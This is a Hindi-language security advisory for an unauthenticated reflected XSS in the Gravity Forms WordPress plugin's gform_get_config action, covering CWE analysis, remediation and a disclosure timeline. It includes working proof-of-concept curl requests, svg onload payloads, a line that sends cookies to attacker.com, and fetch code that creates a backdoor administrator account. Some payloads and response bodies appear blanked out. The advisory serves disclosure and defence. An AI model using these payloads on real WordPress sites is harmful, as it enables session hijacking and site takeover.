
Gravity Forms प्लगइन WordPress के लिए (संस्करण 2.9.28 तक परीक्षण किया गया) `gform_get_config` AJAX एक्शन में `form_ids` पैरामीटर के माध्यम से बिना प्रमाणीकरण के रिफ्लेक्टेड क्रॉस-साइट स्क्रिप्टिंग (XSS) के प्रति संवेदनशील है।
| फ़ील्ड | मान |
|---|
| प्रभावित सॉफ़्टवेयर | Gravity Forms (WordPress प्लगइन) |
| विक्रेता | Rocketgenius, Inc. |
| भेद्यता प्रकार | CWE-79: वेब पेज जनरेशन के दौरान इनपुट का अनुचित न्यूट्रलाइज़ेशन (Reflected Cross-Site Scripting) |
| CWE श्रृंखला | CWE-20 → CWE-116 → CWE-838 → CWE-79 (नीचे CWE विश्लेषण देखें) |
| प्रभावित संस्करण | 2.9.28 पर पुष्टि की गई (खोज के समय नवीनतम); पुराने संस्करण भी प्रभावित होने की संभावना |
| फिक्स्ड संस्करण | 2.9.30.1 (हॉटफिक्स) |
| CVSS 3.1 स्कोर | 6.1 (मध्यम) |
| CVSS 3.1 वेक्टर | AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N |
| प्रमाणीकरण आवश्यक | कोई नहीं (बिना प्रमाणीकरण) |
| उपयोगकर्ता इंटरैक्शन | आवश्यक (पीड़ित को हमलावर-नियंत्रित पेज पर जाना होगा या क्राफ्टेड लिंक पर क्लिक करना होगा) |
| खोजकर्ता | Anthony Cihan — Obviam |
| खोज तिथि | 2026-03-04 |
| प्रकटीकरण तिथि | 2026-03-18 |
| CVE ID | CVE-2026-4406 |
WordPress के लिए Gravity Forms प्लगइन (संस्करण 2.9.28 तक परीक्षण किया गया) gform_get_config AJAX एक्शन में form_ids पैरामीटर के माध्यम से बिना प्रमाणीकरण के reflected cross-site scripting (XSS) के प्रति संवेदनशील है। यह भेद्यता इसलिए मौजूद है क्योंकि उपयोगकर्ता द्वारा प्रदान किए गए form_ids मान बिना किसी सैनिटाइज़ेशन, एन्कोडिंग, या आउटपुट एस्केपिंग के सर्वर के HTTP प्रतिक्रिया में शब्दशः प्रतिबिंबित होते हैं। प्रतिक्रिया Content-Type: text/html; charset=UTF-8 हेडर के साथ दी जाती है, जिसके कारण ब्राउज़र प्रतिबिंबित सामग्री को HTML के रूप में पार्स और रेंडर करता है, जिसमें कोई भी इंजेक्टेड स्क्रिप्ट तत्व शामिल होता है।
एक बिना प्रमाणीकरण वाला हमलावर इस भेद्यता का फायदा उठाकर लक्षित WordPress साइट के ओरिजिन के संदर्भ में मनमाना JavaScript निष्पादित कर सकता है। चूंकि gform_get_config एक्शन के लिए एक मान्य config_nonce की आवश्यकता होती है, और यह nonce हर उस पेज के HTML स्रोत में सार्वजनिक रूप से एम्बेडेड होता है जो Gravity Forms फॉर्म लोड करता है, एक हमलावर एक्सप्लॉइट अनुरोध बनाने से पहले लक्षित साइट पर किसी भी सार्वजनिक पेज का अनुरोध करके आसानी से एक मान्य nonce प्राप्त कर सकता है।
सफल शोषण से हमलावर सत्र कुकीज़ चुरा सकता है, प्रमाणित उपयोगकर्ताओं (WordPress एडमिनिस्ट्रेटर सहित) की ओर से कार्य कर सकता है, उपयोगकर्ताओं को दुर्भावनापूर्ण साइटों पर पुनर्निर्देशित कर सकता है, पेज सामग्री को विकृत कर सकता है, या एडमिनिस्ट्रेटिव खाता निर्माण के माध्यम से स्थायी पहुंच स्थापित कर सकता है।
POST /wp-admin/admin-ajax.php
### असुरक्षित क्रिया```
gform_get_config
args POST पैरामीटर एक JSON ऑब्जेक्ट स्वीकार करता है जिसमें एक form_ids ऐरे होता है। इस ऐरे के मान बिना सैनिटाइज़ेशन के JSON प्रतिक्रिया संरचना में ऑब्जेक्ट कुंजियों के रूप में उपयोग किए जाते हैं:```json
{"form_ids":["ATTACKER_CONTROLLED_VALUE"]}
### प्रतिक्रिया व्यवहार
सर्वर `form_ids` मानों को संसाधित करता है और उन्हें प्रतिक्रिया बॉडी के अंदर JSON कुंजियों के रूप में प्रतिबिंबित करता है। प्रतिक्रिया HTML टिप्पणी मार्करों में लपेटी जाती है और `text/html` के रूप में प्रदान की जाती है:```
Content-Type: text/html; charset=UTF-8
<!-- gf:json_start -->{"success":true,"data":{"common":{"form":{"pagination":{"ATTACKER_CONTROLLED_VALUE":null}}}}}<!-- gf:json_end -->
form_ids मानों को पूर्णांक के रूप में सत्यापित, स्वच्छ या फ़िल्टर नहीं किया जाता है। सर्वर HTML टैग और इवेंट हैंडलर सहित मनमाना स्ट्रिंग सामग्री स्वीकार करता है।form_ids मान बिना HTML एंटिटी एन्कोडिंग के प्रतिक्रिया बॉडी में परावर्तित होते हैं। <, >, ", और ' जैसे वर्ण बिना संशोधन के गुजर जाते हैं।Content-Type: text/html; charset=UTF-8 के साथ प्रदान की जाती है, जो ब्राउज़र को प्रतिक्रिया बॉडी को HTML के रूप में पार्स करने का निर्देश देती है। परावर्तित मान के भीतर कोई भी HTML टैग ब्राउज़र के HTML पार्सर द्वारा तुरंत इंस्टैंशिएट और रेंडर किया जाता है।gform_get_config एक्शन के लिए आवश्यक config_nonce हर पेज पर JavaScript कॉन्फ़िगरेशन ऑब्जेक्ट (gform_theme_config) में एम्बेडेड होता है जो Gravity Forms फॉर्म लोड करता है। यह nonce सभी पेजों पर समान होता है और किसी विशिष्ट उपयोगकर्ता सत्र से बंधा नहीं होता है, जिससे इसे बिना प्रमाणीकरण वाले उपयोगकर्ताओं द्वारा आसानी से प्राप्त किया जा सकता है।यह भेद्यता कई योगदान देने वाली कमजोरियों का परिणाम है जो शोषणीय स्थिति उत्पन्न करने के लिए एक साथ जुड़ती हैं। जबकि CWE-79 CVE रिपोर्टिंग उद्देश्यों के लिए प्राथमिक वर्गीकरण है, पूरी श्रृंखला दस्तावेजित करती है कि कैसे प्रत्येक विफलता शोषण को सक्षम बनाने के लिए संयुक्त होती है।
CWE-20 CWE-116 CWE-838 CWE-79 Improper Input → Improper Encoding → Inappropriate Encoding → Cross-Site Validation or Escaping of Output for Output Context Scripting (XSS) [EXPLOITABLE] form_ids accepts Reflected values are JSON data served as Browser parses arbitrary strings not HTML-entity text/html instead of injected HTML tags instead of integers encoded in response application/json and executes JS
### CWE-20: अनुचित इनपुट सत्यापन (योगदान देने वाला)
**भूमिका:** मूल सक्षमकर्ता — दुर्भावनापूर्ण डेटा को प्रोसेसिंग पाइपलाइन में प्रवेश करने की अनुमति देता है।
`args` JSON ऑब्जेक्ट में `form_ids` पैरामीटर से संख्यात्मक फॉर्म पहचानकर्ता होने की अपेक्षा की जाती है, लेकिन यह बिना किसी सत्यापन के मनमाना स्ट्रिंग इनपुट स्वीकार करता है। न तो टाइप जाँच (`intval()`), न ही रेगेक्स फ़िल्टरिंग (`^[0-9]+$`), न ही ज्ञात फॉर्म आईडी के विरुद्ध व्हाइटलिस्ट तुलना, और न ही लंबाई प्रतिबंध लागू किए जाते हैं।
**साक्ष्य:** सर्वर बिना अस्वीकृति के HTML टैग, JavaScript इवेंट हैंडलर और मनमाना यूनिकोड युक्त `form_ids` मानों को स्वीकार और प्रोसेस करता है।```json
{"form_ids":["<svg onload=alert(1)>"]} ← Accepted
{"form_ids":["3"]} ← Expected
भूमिका: मुख्य भेद्यता — XSS स्थिति का प्रत्यक्ष कारण।
जब सर्वर form_ids मानों वाला JSON प्रतिक्रिया निर्मित करता है, तो यह आउटपुट पर HTML एंटिटी एन्कोडिंग लागू नहीं करता है। HTML में विशेष अर्थ वाले वर्ण (<, >, ", ', &) प्रतिक्रिया बॉडी में बिना संशोधित पारित हो जाते हैं। PHP फ़ंक्शन htmlspecialchars(), esc_html(), JSON_HEX_TAG के साथ wp_json_encode(), या समकक्ष आउटपुट एन्कोडिंग फ़ंक्शन form_ids मानों पर लागू नहीं किए जाते हैं, इससे पहले कि वे प्रतिक्रिया में लिखे जाएं।
साक्ष्य: शाब्दिक स्ट्रिंग <svg onload=alert(document.domain)> प्रतिक्रिया बॉडी में इनपुट के समान बाइट-दर-बाइट दिखाई देती है, न कि <svg onload=alert(document.domain)> के रूप में।
भूमिका: संदर्भ वृद्धि — डेटा प्रतिबिंब समस्या को निष्पादन योग्य कोड इंजेक्शन में बदल देती है।
प्रतिक्रिया बॉडी में JSON-संरचित डेटा होता है, लेकिन इसे Content-Type: text/html; charset=UTF-8 के साथ परोसा जाता है। यह Content-Type घोषणा ब्राउज़र के HTML पार्सर को संपूर्ण प्रतिक्रिया बॉडी को एक HTML दस्तावेज़ के रूप में संसाधित करने का निर्देश देती है। यदि प्रतिक्रिया application/json के रूप में परोसी जाती, तो ब्राउज़र प्रतिक्रिया को सादे पाठ के रूप में प्रस्तुत करता और कोई HTML पार्सिंग नहीं होती — इंजेक्ट किए गए टैग DOM तत्वों के रूप में तत्काल होने के बजाय शाब्दिक पाठ के रूप में प्रदर्शित होते।
साक्ष्य:```http Content-Type: text/html; charset=UTF-8 ← Actual (enables HTML parsing) Content-Type: application/json ← Expected (would prevent exploitation)
`X-Content-Type-Options: nosniff` हेडर मौजूद है लेकिन अप्रासंगिक है क्योंकि सर्वर स्पष्ट रूप से `text/html` घोषित कर रहा है — MIME टाइप स्निफिंग को रोकने के लिए कुछ भी नहीं बचा है।
### CWE-79: वेब पेज जनरेशन के दौरान इनपुट का अनुचित न्यूट्रलाइज़ेशन — रिफ्लेक्टेड XSS (परिणामी)
**भूमिका:** शोषण योग्य परिणाम — साकार हुई कमज़ोरी।
तीन योगदान देने वाली कमज़ोरियों का संयोजन एक रिफ्लेक्टेड क्रॉस-साइट स्क्रिप्टिंग स्थिति उत्पन्न करता है। उपयोगकर्ता द्वारा आपूर्ति किया गया इनपुट HTTP अनुरोध से सर्वर-साइड प्रोसेसिंग के माध्यम से HTTP प्रतिक्रिया में बिना सैनिटाइज़ेशन, एन्कोडिंग, या संदर्भ-उपयुक्त Content-Type घोषणा के प्रवाहित होता है, जिसके परिणामस्वरूप पीड़ित के ब्राउज़र में मनमाना JavaScript निष्पादन होता है।
**उपप्रकार:** रिफ्लेक्टेड (टाइप 1) — पेलोड HTTP अनुरोध में शामिल होता है और बिना संग्रहण के तुरंत HTTP प्रतिक्रिया में प्रतिबिंबित होता है।
### सारांश तालिका
| CWE ID | नाम | भूमिका | अकेले शोषण योग्य? |
|---|---|---|---|
| CWE-20 | अनुचित इनपुट सत्यापन | योगदान देने वाला (मूल सक्षमकर्ता) | नहीं — खराब डेटा प्रवेश करता है लेकिन रेंडर नहीं होता |
| CWE-116 | आउटपुट का अनुचित एन्कोडिंग या एस्केपिंग | प्राथमिक तकनीकी विफलता | आंशिक रूप से — HTML रेंडरिंग संदर्भ की आवश्यकता है |
| CWE-838 | आउटपुट संदर्भ के लिए अनुचित एन्कोडिंग | जटिलता बढ़ाने वाला (संदर्भ वृद्धि) | नहीं — अनएस्केप्ड डेटा की उपस्थिति आवश्यक है |
| CWE-79 | क्रॉस-साइट स्क्रिप्टिंग (रिफ्लेक्टेड) | **परिणामी (शोषण योग्य)** | **हाँ — यह साकार हुई कमज़ोरी है** |
### न्यूनतम सुधार विश्लेषण
नीचे दी गई सूची से कोई भी **एकल** उपाय श्रृंखला को तोड़ देगा और शोषण को रोक देगा:
| सुधार | श्रृंखला कहाँ तोड़ता है | अकेले पर्याप्त? |
|---|---|---|
| `form_ids` को पूर्णांकों में टाइप-कास्ट करें | CWE-20 (इनपुट) | ✅ हाँ |
| आउटपुट को HTML-एंटिटी एन्कोड करें | CWE-116 (आउटपुट) | ✅ हाँ |
| प्रतिक्रिया को `application/json` के रूप में भेजें | CWE-838 (संदर्भ) | ✅ हाँ |
**अनुशंसा:** गहराई में सुरक्षा के रूप में तीनों को लागू करें। सबसे महत्वपूर्ण सुधार आउटपुट एन्कोडिंग (CWE-116) है, क्योंकि यह इनपुट सत्यापन या Content-Type परिवर्तनों की परवाह किए बिना वर्तमान और भविष्य के इंजेक्शन वैक्टर से सुरक्षा करता है।
---
## Wordfence सबमिशन संदर्भ
| फ़ील्ड | मान |
|---|---|
| **सॉफ़्टवेयर प्रकार** | WordPress प्लगइन |
| **सॉफ़्टवेयर स्लग** | `gravityforms` |
| **Wordfence Intel URL** | https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/gravityforms |
| **प्रभावित संस्करण** | <= 2.9.28 (नवीनतम पुष्टि) |
| **कमज़ोरी शीर्षक** | Gravity Forms <= 2.9.28 — `form_ids` पैरामीटर के माध्यम से बिना प्रमाणीकरण के रिफ्लेक्टेड क्रॉस-साइट स्क्रिप्टिंग |
| **CWE (प्राथमिक)** | CWE-79 |
| **CVSS 3.1** | 6.1 — `AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N` |
| **आवश्यक विशेषाधिकार** | बिना प्रमाणीकरण |
| **पैच स्थिति** | 2.9.30.1 में पैच किया गया |
---
## प्रभावित कॉन्फ़िगरेशन
### आवश्यक सर्वर-साइड शर्तें
- Gravity Forms प्लगइन सक्रिय के साथ WordPress इंस्टॉलेशन (कोई भी फ़ॉर्म प्रकाशित)
- `gform_get_config` AJAX एक्शन पंजीकृत (प्लगइन सक्रियण पर डिफ़ॉल्ट व्यवहार)
### नॉन्स पहुंच
`config_nonce` वैश्विक `gform_theme_config` JavaScript वेरिएबल में किसी भी पृष्ठ पर एम्बेडेड है जिसमें Gravity Forms फ़ॉर्म शामिल है:```javascript
var gform_theme_config = {
"common": { ... },
"config_nonce": "9308d72c0a" // ← Publicly accessible
};
यह नॉन्स निम्नानुसार पुष्टि की गई थी:
| हेडर | मान | शोषण क्षमता पर प्रभाव |
|---|---|---|
X-Content-Type-Options | nosniff | शमन नहीं करता — सर्वर स्पष्ट रूप से text/html घोषित करता है |
X-Frame-Options | SAMEORIGIN | क्रॉस-ओरिजिन से iframe-आधारित शोषण को रोकता है; पॉपअप/रीडायरेक्ट डिलीवरी अभी भी काम करती है |
Content-Security-Policy | frame-ancestors 'self'; | कोई script-src निर्देश नहीं — इनलाइन स्क्रिप्ट निष्पादन अप्रतिबंधित है |
Referrer-Policy | strict-origin-when-cross-origin | शोषण क्षमता पर कोई प्रभाव नहीं |
| घटक | संस्करण |
|---|---|
| WordPress | 6.9.1 |
| Gravity Forms | 2.9.28 |
| वेब सर्वर | Apache (HTTP/2) |
| परीक्षण प्लेटफ़ॉर्म | Kali Linux, curl 8.x |
लक्ष्य साइट पर कोई भी पृष्ठ अनुरोध करें जो Gravity Forms फॉर्म लोड करता है और config_nonce मान निकालें:```bash
curl -sk "https://[TARGET]/request-quote/" | grep -oP '"config_nonce":"\K[a-f0-9]+'
**उदाहरण आउटपुट:**```
9308d72c0a
WordPress AJAX हैंडलर पर एक POST अनुरोध सबमिट करें, जिसमें XSS पेलोड युक्त एक निर्मित form_ids मान हो:```bash
curl -sk -X POST "https://[TARGET]/wp-admin/admin-ajax.php"
-F "gform_ajax_nonce=[NONCE]"
-F "action=gform_get_config"
-F 'args={"form_ids":[""]}'
-F "config_path=gform_theme_config/common/form/pagination/3"
-F "query_string="
### चरण 3: प्रतिबिंब का अवलोकन करें
**HTTP प्रतिक्रिया हेडर:**```http
HTTP/2 200
x-robots-tag: noindex
x-content-type-options: nosniff
expires: Wed, 11 Jan 1984 05:00:00 GMT
cache-control: no-cache, must-revalidate, max-age=0, no-store, private
referrer-policy: strict-origin-when-cross-origin
x-frame-options: SAMEORIGIN
content-security-policy: frame-ancestors 'self';
content-type: text/html; charset=UTF-8
server: Apache
HTTP प्रतिक्रिया बॉडी:```html
`<svg onload=alert(document.domain)>` पेलोड प्रतिक्रिया बॉडी में **बिना किसी एन्कोडिंग के शब्दशः** प्रतिबिंबित होता है। चूंकि प्रतिक्रिया `text/html` के रूप में प्रस्तुत की जाती है, ब्राउज़र SVG एलिमेंट को इंस्टैंशिएट करता है और `onload` इवेंट हैंडलर को निष्पादित करता है, जिससे लक्ष्य साइट के ओरिजिन के संदर्भ में JavaScript निष्पादन ट्रिगर होता है।
### अतिरिक्त अवलोकन
**एक साथ कई पेलोड इंजेक्ट किए जा सकते हैं** `form_ids` ऐरे के माध्यम से:```bash
curl -sk -X POST "https://[TARGET]/wp-admin/admin-ajax.php" \
-F "gform_ajax_nonce=[NONCE]" \
-F "action=gform_get_config" \
-F 'args={"form_ids":["<svg onload=alert(1)>",""]}' \
-F "config_path=gform_theme_config/common/form/pagination/3" \
-F "query_string="
प्रतिक्रिया:```html
**`config_path` फ़ॉर्म नंबर मनमाना है** — कोई भी पूर्णांक काम करता है (परीक्षण किया गया: `1`, `3`, `999`), और अमान्य कॉन्फ़िग पथ एक त्रुटि संदेश लौटाता है जो `form_ids` मान को प्रतिबिंबित नहीं करता है।
---
## शोषण परिदृश्य
### परिदृश्य 1: कुकी एक्सफ़िल्ट्रेशन के माध्यम से सत्र अपहरण
एक हमलावर एक पेज होस्ट करता है जो स्वचालित रूप से लक्ष्य से एक वैध nonce स्क्रैप करता है, फिर शोषण फ़ॉर्म को एक पॉपअप विंडो में सबमिट करता है। पेलोड सत्र कुकीज़ को हमलावर-नियंत्रित सर्वर पर एक्सफ़िल्ट्रेट करता है:
**पेलोड:**```html
<svg id=[BASE64_ENCODED_JS] onload=eval(atob(this.id))>
डिकोड किया गया JavaScript:```javascript new Image().src = "https://attacker.com/collect?c=" + btoa(document.cookie) + "&u=" + btoa(location.href);
यह तकनीक `this.id` सेल्फ-रेफरेंसिंग पैटर्न का उपयोग करती है ताकि रिफ्लेक्टेड एट्रिब्यूट कॉन्टेक्स्ट में कोट और स्पेस कैरेक्टर से बचा जा सके, और पूरे एक्सप्लॉइट लॉजिक को SVG एलिमेंट के `id` एट्रिब्यूट के भीतर Base64 में एन्कोड किया जा सके।
यदि कोई प्रमाणित WordPress एडमिनिस्ट्रेटर हमलावर के पेज पर जाता है, तो उनका सेशन कुकी (`wordpress_logged_in_*`, `wordpress_sec_*`) हमलावर को भेज दिया जाता है, जो फिर एडमिनिस्ट्रेटर के रूप में प्रतिरूपण कर सकता है।
### परिदृश्य 2: प्रशासनिक खाता निर्माण
उसी डिलीवरी तंत्र का उपयोग करके, पेलोड WordPress REST API या एडमिन पेजों के लिए प्रमाणित API अनुरोध कर सकता है ताकि एक नया एडमिनिस्ट्रेटर खाता बनाया जा सके:```javascript
fetch('/wp-json/wp/v2/users', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/json', 'X-WP-Nonce': wpApiSettings.nonce},
body: JSON.stringify({username:'backdoor', password:'P@ssw0rd!', email:'[email protected]', roles:['administrator']})
});
रिफ्लेक्टेड XSS पूरे पेज के DOM को एक भ्रामक फ़िशिंग ओवरले (जैसे, नकली लॉगिन पेज या सत्र समाप्ति प्रॉम्प्ट) से बदल सकता है, ताकि सीधे क्रेडेंशियल एकत्र किए जा सकें।
┌─────────────┐ 1. GET /any-page/ ┌─────────────────┐ │ Attacker │ ──────────────────────────────► Target WordPress │ │ (External) │ ◄────────────────────────────── (Gravity Forms) │ │ │ 2. HTML with config_nonce │ │ │ │ │ │ │ │ 3. Craft malicious page │ │ │ │ with auto-submit form │ │ │ │ │ │ │ ┌────────┐ │ 4. Send link to victim │ │ │ │Malicious│ │ ───────────────────────► │ │ │ │ Page │ │ ┌───────┴──┐ │ │ └────────┘ │ │ Victim │ │ │ │ │ (WP Admin)│ │ │ │ └───────┬──┘ │ │ │ 5. Victim's browser POSTs │ │ │ │ XSS payload with nonce │ │ │ │ ────────►│ │ │ │ 6. Server reflects payload │ │ │ │ unescaped in text/html │ │ │ │ ◄────────│ │ │ │ 7. JS executes in target │ │ │ │ origin (session context)│ │ │ │ │ │ │ │ ◄── 8. Exfil cookies/tokens ── │ │ └─────────────┘ └─────────────────┘
## MITRE ATT&CK मैपिंग
| Tactic | Technique | ID | Description |
|---|---|---|---|
| Initial Access | Drive-by Compromise | T1189 | पीड़ित हमलावर-नियंत्रित पेज पर जाता है जो XSS डिलीवरी तंत्र होस्ट करता है |
| Execution | User Execution: Malicious Link | T1204.001 | पीड़ित हमलावर के पेज के लिंक पर क्लिक करता है या रीडायरेक्ट होता है |
| Credential Access | Steal Web Session Cookie | T1539 | XSS पेलोड पीड़ित के ब्राउज़र से सत्र कुकीज़ बाहर निकालता है |
| Persistence | Create Account | T1136.001 | हमलावर चुराए गए एडमिन सत्र का उपयोग करके बैकडोर एडमिनिस्ट्रेटर खाता बनाता है |
| Defense Evasion | Abuse Elevation Control Mechanism | T1548 | XSS विशेषाधिकार प्राप्त उपयोगकर्ता के सत्र के संदर्भ में निष्पादित होता है |
---
## प्रभाव आकलन
### गोपनीयता
- **सत्र कुकीज़** (`wordpress_logged_in_*` और `wordpress_sec_*` सहित) बाहर निकाली जा सकती हैं
- **CSRF नॉन्स** जो DOM में दिखाई देते हैं, बाद के API अनुरोधों के लिए कैप्चर किए जा सकते हैं
- एडमिन पेजों पर प्रस्तुत **उपयोगकर्ता PII** इंजेक्टेड स्क्रिप्ट के लिए सुलभ है
### अखंडता
- **प्रशासनिक क्रियाएं** पीड़ित की ओर से की जा सकती हैं (पोस्ट निर्माण, प्लगइन इंस्टॉलेशन, उपयोगकर्ता प्रबंधन, थीम संपादन)
- **साइट सामग्री** को संशोधित या विकृत किया जा सकता है
- निरंतर पहुंच के लिए **बैकडोर खाते** बनाए जा सकते हैं
### उपलब्धता
- प्रशासनिक खाते से समझौते के माध्यम से **साइट अधिग्रहण** उपलब्धता के पूर्ण नुकसान का कारण बन सकता है
- थीम/प्लगइन संपादक के माध्यम से **मैलवेयर इंजेक्शन** साइट को अनुपयोगी या आगंतुकों के लिए हानिकारक बना सकता है
---
## सुधार अनुशंसाएं
### Gravity Forms (विक्रेता) के लिए
1. **इनपुट सत्यापन** — प्रोसेसिंग से पहले सभी `form_ids` मानों पर सख्त पूर्णांक टाइप कास्टिंग लागू करें। किसी भी मान को अस्वीकार करें जो `^[0-9]+$` से मेल नहीं खाता: ```php
$form_ids = array_map('intval', $form_ids);
$form_ids = array_filter($form_ids, function($id) { return $id > 0; });
wp_json_encode() को JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT फ्लैग्स के साथ लागू करें ताकि HTML-महत्वपूर्ण वर्ण एस्केप हो सकें: ```php
echo wp_json_encode($response_data, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT);
Content-Type को text/html के बजाय application/json पर सेट करें। यह ब्राउज़र को प्रतिक्रिया को HTML के रूप में पार्स करने से रोकता है, भले ही अस्वच्छित सामग्री प्रतिबिंबित हो: ```php
header('Content-Type: application/json; charset=UTF-8');
config_nonce को उपयोगकर्ता सत्र से जोड़ने या नॉन्स जनरेशन पर रेट लिमिटिंग लागू करने पर विचार करें ताकि स्वचालित शोषण की लागत बढ़ सके।admin-ajax.php POST अनुरोधों के args पैरामीटर में HTML टैग का पता लगाने और ब्लॉक करने के लिए WAF नियम तैनात करें जहाँ action=gform_get_config होscript-src CSP निर्देश लागू करें (जैसे, script-src 'self') भले ही वे प्रतिबिंबित हों| दिनांक | घटना |
|---|---|
| 2026-03-04 | अधिकृत पैठ परीक्षण के दौरान भेद्यता की खोज |
| 2026-03-04 | Wordfence (WordPress CNA) को रिपोर्ट की गई |
| 2026-03-XX | Wordfence द्वारा प्रारंभिक अस्वीकृति (self-XSS के रूप में गलत वर्गीकृत) |
| 2026-03-XX | हथियारबद्ध POC और नॉन्स विश्लेषण के साथ पुनः प्रस्तुत; निर्णय उलट दिया गया |
| 2026-03-18 | CVE-2026-4406 Wordfence द्वारा निर्धारित |
| 2026-03-18 | विक्रेता को [email protected] के माध्यम से सूचित किया गया |
| 2026-03-21 | विक्रेता ने स्वीकार किया और समीक्षा के लिए हॉटफिक्स (2.9.30.1) प्रदान किया |
| 2026-04-02 | पैच सत्यापित — form_ids पर absint() इनपुट सत्यापन और Content-Type: application/json की पुष्टि भेद्यता को ठीक करने के लिए की गई |
| 2026-04-02 | भेद्यता हल हो गई |
यह भेद्यता एक अधिकृत पैठ परीक्षण अभियान के दौरान खोजी गई थी जो स्पष्ट लिखित प्राधिकरण के साथ हस्ताक्षरित कार्य विवरण के तहत आयोजित किया गया था। सभी परीक्षण सहमत दायरे के भीतर किए गए थे, और निष्कर्ष खोज के तुरंत बाद ग्राहक को सूचित किए गए थे। यह प्रकटीकरण जिम्मेदार प्रकटीकरण प्रथाओं का पालन करता है। कोई अनधिकृत सिस्टम एक्सेस नहीं किया गया था, और नियंत्रित प्रूफ-ऑफ-कॉन्सेप्ट सत्यापन के बाहर कोई डेटा बाहर नहीं निकाला गया था।
द्वारा खोजा गया: Anthony Cihan